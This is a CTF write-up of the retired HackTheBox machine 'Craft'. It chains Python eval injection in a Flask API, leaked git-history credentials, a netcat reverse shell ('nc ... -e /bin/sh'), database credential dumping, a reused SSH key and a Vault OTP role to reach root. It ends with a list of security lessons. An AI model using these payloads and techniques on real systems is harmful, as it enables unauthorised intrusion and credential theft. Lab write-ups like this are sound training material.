Skip to main content

notes and writeups


This is a write-up of a HackTheBox machine named Craft.

Disclaimer: the machine went available on 13.06.2019 and retired around January 5th 2020.



First thing was to discover open ports on the server:

root@kali:~# nmap -p 0-49999
Starting Nmap 7.70 ( ) at 2019-07-13 15:10 EDT
Nmap scan report for craft.htb (
Host is up (0.056s latency).
Not shown: 49997 closed ports
22/tcp   open  ssh
443/tcp  open  https
6022/tcp open  x11

Nmap done: 1 IP address (1 host up) scanned in 63.54 seconds

I usually scan more than just default nmap’s most popular ports and this time it gave me 6022 open. It appeared to be another SSH open port, but seemed to accept only clients using private-public keys, so I left it for now.

Web check

So let’s explore that usual 443 port. In the browser I had to type which gave me an alert about self-signed certificate of the website owner. The certificate was issued to craft.htb. Continuing, site below has appeared:


The site itself doesn’t contain any CTF-content, like hidden HTML, minified JS files or anything like that. But there are 2 interesting links at the top right: to self-hosted git repository using Gogs and to API documentation built with Swagger.

DNS and hostnames

I accessed main website at Links to Gogs and API were https://gogs.craft.htb and https://api.craft.htb/api respectively. They all pointed to the same IP address, so I had to switch from IP-based name to “real” hostnames. My default settings didn’t resolve https://craft.htb nor any of above hostnames after setting primary DNS server to HTB’s default gateway. So I just entered the following in my /etc/hosts file:    craft.htb    api.craft.htb    gogs.craft.htb

and was ready to access API and Gogs repo.


First I checked the code, to see what do I deal with. It was a Python API written in Flask framework, using MySQL database. It has one issue open (plus 1 closed, but nothing interesting inside), which caught my most attention:


Dinesh found out there was no verification of input values when using API. He was proposed to do a fix himself, which he did in a commit:


Not sure if you can call this a “fix”, but good for me. Python’s eval function using straight user input, no verification. The API endpoint is decorated with @auth.auth_required function though, and looking at the code of auth mechanism, there is no other way than to normally authenticate, with login and password.



First thought: use token that Dinesh pasted in git issue. Using a routing from an API documentation, it is possible to check validity of a token. You do it this way:

curl -H 'X-Craft-Api-Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoidXNlciIsImV4cCI6MTU0OTM4NTI0Mn0.-wW1aJkLQDOE-GP5pQd3z_BJTe2Uo0jJ_mQ238P5Dqw' -H "Content-Type: application/json" -k https://api.craft.htb/api/auth/check

using additional -k flag to skip certificate checking, but the API returns:

{"message": "Invalid token or no token found."}

Second thought: commits history.


This one looks good. Let’s check inside:


Nice. Dinesh must have had a bad day. Those credentials allowed me to authenticate using Swagger API docs, where I got a new token. This time doing curl with the token, API returned:

{"message":"Token is valid!"}

I’m not sure if there was a time-validity of the token or it was expiring when too many users authenticated, but it was happening really often. I was using curl mostly in this task, so I wrote a script that was requesting new token, extracting it from response and setting as environment variable in my bash. Then I was appending the token using variable substitution to my curl requests. Code below:

# file:

token=$(curl -s -k -X GET -H 'Authorization: Basic ZGluZXNoOjRhVWgwQThQYlZKeGdk' https://api.craft.htb/api/auth/login | tac | tac | jq -r '.token')
echo $token
export CRAFT_TOKEN='X-Craft-Api-Token: '$token
# .bashrc file:

alias craft='source ~/'

and from here I could forget about annoying token invalidation, using just:

root@kali:~# craft

root@kali:~# curl -H "$CRAFT_TOKEN" -H "Content-Type: application/json" https:// ...


Now let’s get back to the eval vulnerability found earlier. It can only be triggered with a following JSON request body:

"style": "test",
"abv": "evil content here"

Now, it doesn’t matter whether eval("%s > 1") will finally evaluate to True. We don’t need to insert anything malicious into the database (as per git issue, it is probably fixed anyway), it’s enough to just execute some function. How to check if it actually works?

My first try was to use some request bin - force eval to execute HTTP request to an address I control and check if the request has reached the target. This would mean my base payload works correctly. In JSON payload above I typed this:


This evaluates to

eval("__import__('urllib2').urlopen('') > 1")

which is false, but we don’t care - the request was sent and I can confirm it on my request bin. Later on I found some requests are sent to the remote and some not, so expecting external connectivity issues I just set up my own simple HTTP server and substitute the url as (my IP assigned by the VPN). Works great, but remember not to run this on your everyday computer, start up a VM to do this kind of things, because now everyone inside this network (basically most HTB users) can query your server.

But using urllib from inside Python is rather useless, I’d like to do some OS actions. I did:


No luck, no sign of a request in the bin. Maybe there is no curl? How about this:

eval("__import__('os').system('wget --post-data=123')")

This works! We have wget available and I see the request, so outgoing communication to my host isn’t restricted. I did --post-data, so wget runs POST requests instead of GET and doesn’t create useless trash files from getting content of my server (this could alsobe accomplished with redirecting the output to /dev/null, but whatever). Ok, let’s setup reverse shell and explore the filesystem. Thanks to this cool blog post (this guy has more good content) I created a shell and upgraded it to more user-friendly form, first running nc -lvp 9393 on my machine, then sending this payload:

"style": "test",
"abv": "__import__('os').system('nc 9393 -e /bin/sh')"

and finally upgrading the shell with python -c 'import pty; pty.spawn("/bin/ash")' (yes, there was no bash on the host). But searching and grepping, I couldn’t find nothing spectacular and none of the flag files at all (those should be “user.txt” in user home dir and “root.txt” in root’s dir). There was even no user’s home dir and root’s dir was empty except for .cache and .ash_history. Trying to execute whoami returned “root”. I even tried to change root’s password using echo \"root:asdf\" | chpasswd, so I could ssh into it, but ssh wouldn’t let me in. I used find / -iname *.txt to check if flags are somewhere else, but nope. So I started to search using ls -a, starting from / dir. Except from usual folders in there, there was an empty file called .dockerenv. And then I realized: it all makes sense - I’m inside Docker container. Maybe the task is to jump out of the container to host fs?

More creds, host server and user flag

Now recall there was a MySQL DB attached to the Flask app. I opened up Python script for database testing and adjusted it a bit. Somehow system couldn’t resolve Docker “db” hostname to the database address, so using arp -a command I found IP of the container in Docker network:

craft_repo_1.craft_default ( at 02:42:ac:14:00:05 [ether]  on eth0
craft_home_1.craft_default ( at 02:42:ac:14:00:03 [ether]  on eth0
craft_proxy_1.craft_default ( at 02:42:ac:14:00:07 [ether]  on eth0
craft_db_1.craft_default ( at 02:42:ac:14:00:04 [ether]  on eth0

substituting host to, username to “craft” and SQL query to "select * from users" made it, Python printed:

{'id': 1, 'username': 'dinesh', 'password': '<redacted: plaintext password was here>'}
{'id': 4, 'username': 'ebachman', 'password': '<redacted: plaintext password was here>'}
{'id': 5, 'username': 'gilfoyle', 'password': '<redacted: plaintext password was here>'}

Great, more creds. First I tried using all of them to log in with ssh to, with no luck. Then I remembered gilfoyle had some commits on the repo, so maybe he has an account too?


sure he has, miserable password reuser. This repo contained Docker Compose code for an entire app along with DB, Nginx, and (what I didn’t know before) - Vault, an application for storing secrets. And another folder, called .ssh, and yes, there was a private and public key of gilfoyle.


I copied content of both to ~/.ssh/id_hack and on my machine and ran:

root@kali:~/.ssh# ssh -i /root/.ssh/id_hack gilfoyle@                                                            
  .   *   ..  . *  *                                                                                                         
*  * @()Ooc()*   o  .                                                                                                        
    (Q@*0CG*O()  ___                                                                                                         
   |\_________/|/ _ \                                                                                                        
   |  |  |  |  | / | |                                                                                                       
   |  |  |  |  | | | |                                                                                                       
   |  |  |  |  | | | |                                                                                                       
   |  |  |  |  | | | |                                                                                                       
   |  |  |  |  | | | |                                                                                                       
   |  |  |  |  | \_| |                                                                                                       
   |  |  |  |  |\___/                                                                                                        
Enter passphrase for key '/root/.ssh/id_hack':                                                                               
Linux craft.htb 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64                                                    
The programs included with the Debian GNU/Linux system are free software;                                                    
the exact distribution terms for each program are described in the                                                           
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

this greeted my with an SSH passphrase prompt. I wasn’t surprised seeing that he reused again the same password. At this time I was in home folder on the application host server and had the user flag.

Pwning root

gilfoyle@craft:~$ ls /root
ls: cannot open directory '/root': Permission denied

This was expected. But since Docker is installed on the machine, maybe someone conveniently added docker user to sudo group? Well, no. First of all there is no sudo on this machine, and if there was one, trying to run Docker mounting root fs to the container didn’t work:

gilfoyle@craft:~$ docker run -v /:/somedir -it chrisfosterelli/rootplease

docker: Got permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Post http:/
/%2Fvar%2Frun%2Fdocker.sock/v1.39/containers/create: dial unix /var/run/docker.sock: connect: permission denied.
See 'docker run --help'.

Previously in repo there was Vault config. Maybe Vault stores some root password and I have access there or something? This was “” script from “vault” folder in repo, that caught my attention:


# set up vault secrets backend

vault secrets enable ssh

vault write ssh/roles/root_otp \
    key_type=otp \
    default_user=root \

I don’t have much experience with Vault, but this is a command that specifies SSH access to the machine using one-time passwords. Well, let’s try to use it with helpful documentation:

gilfoyle@craft:~$ vault ssh -role root_otp -mode otp -strict-host-key-checking=no root@
Vault could not locate "sshpass". The OTP code for the session is displayed
below. Enter this code in the SSH password prompt. If you install sshpass,
Vault can automatically perform this step for you.
OTP for the session is: 33236d87-b04e-c565-40f7-30dda3e266ef

The prompt asked to retype OTP password and just let me in. I got logged into the machine as root and typed the long awaited command:

cat root.txt

Summary - what went wrong

Many thanks to user @rotarydrone for creating this machine. I think it shows real-life examples of what you should not do, but what happens often:

  • not validating user input (eval function)
  • valid credentials in commit history (at least change your password if it’s leaked)
  • password reuse
  • valid private and public key in repo
  • plaintext passwords in the database
  • improper authorization of secret storing mechanisms
  • no monitoring of connections to/from the machine